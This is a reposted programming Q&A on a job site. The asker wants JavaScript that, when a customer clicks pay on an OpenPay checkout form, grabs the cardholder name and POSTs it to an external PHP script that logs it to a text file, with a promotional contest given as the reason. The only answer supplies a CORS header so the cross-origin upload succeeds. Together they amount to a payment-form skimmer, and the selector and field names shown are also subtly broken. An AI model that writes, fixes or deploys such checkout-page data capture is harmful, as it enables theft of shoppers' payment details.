Empresas
Empleos
  • Sobre nosotros
  • Soluciones
    • Publicación de vacantes
      Publica tu vacante y recibe candidatos calificados en 48h.
    • Evaluación de candidatos
      500+ pruebas técnicas y psicológicas, más anti-fraude.
    • Headhunting
      Búsqueda ejecutiva a la medida de principio a fin.
    • Nómina + EOR
      Dispersión de nómina y EOR en más de 15 países de LATAM.
  • Precios
  • Empleos

0

161
Vistas
Retrieving form info with javascript and redirecting it to another server

I am helping develop a temporary site that will be redirect payments to openpay for proper bank validation but I need to take payer info and redirect it to a different server to then from those users (within two weeks) select one for a contest. This is part of a promotion campaign for a small business. What I want to do is take the payer information when they hit pay and have that information sent to my remote server but so far I haven't been able to capture the data. Here is the js script I put together to capture the data:

<script type="text/javascript">
            $("#fm_pay\\:make_payment_button").click(function() { 
                var name_of_customer = $('data-openpay-card="name_of_customer"').val();
                //console.log(data);
                $.ajax({
                    type: "POST",
                    beforeSend: function (xhr, opts) {
                    if (name_of_customer == "") { xhr.abort(); }
                    }, //close beforesend
                    url: "http://external.server/the.php",
                    dataType: "json",
                    data: {name_of_customer:name_of_customer},
                    });
                });
        </script>

This is what is on the main site taking in payments:

 <div class="row">
                                        <div class="col-md-12">
                                            <div class="form-group form-group-lg">
                                                <label for="">Cardholder name <label for="" class="text-red text-bold">*</label></label>
                                        <input type="text" class="form-control" placeholder="as it appears on the card" data-openpay-card="holder_name">
                                            </div>
                                        </div>

And finally here is what i have on my remote server taking in data:

<?php
$name_of_customer = $_POST['name_of_customer'];

$sep = "==================================================
Name: $name_of_customer
==================================================
";


$file = fopen("contest.txt", "a+");
fwrite($file, $sep.PHP_EOL);
fclose($file);
?>

Thanks! Any help is welcomed!

about 4 years ago · Juan Pablo Isaza
1 Respuestas
Responde la pregunta

0

add this in your php file:

header("access-control-allow-origin: *");
about 4 years ago · Juan Pablo Isaza Denunciar
Responde la pregunta
Encuentra empleos remotos

¡Descubre la nueva forma de encontrar empleo!

Top de empleos
Top categorías de empleo
Empresas
Publicar vacante Precios Comercial
Legal
Términos y condiciones Política de privacidad
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomiéndame algunas ofertas
Necesito ayuda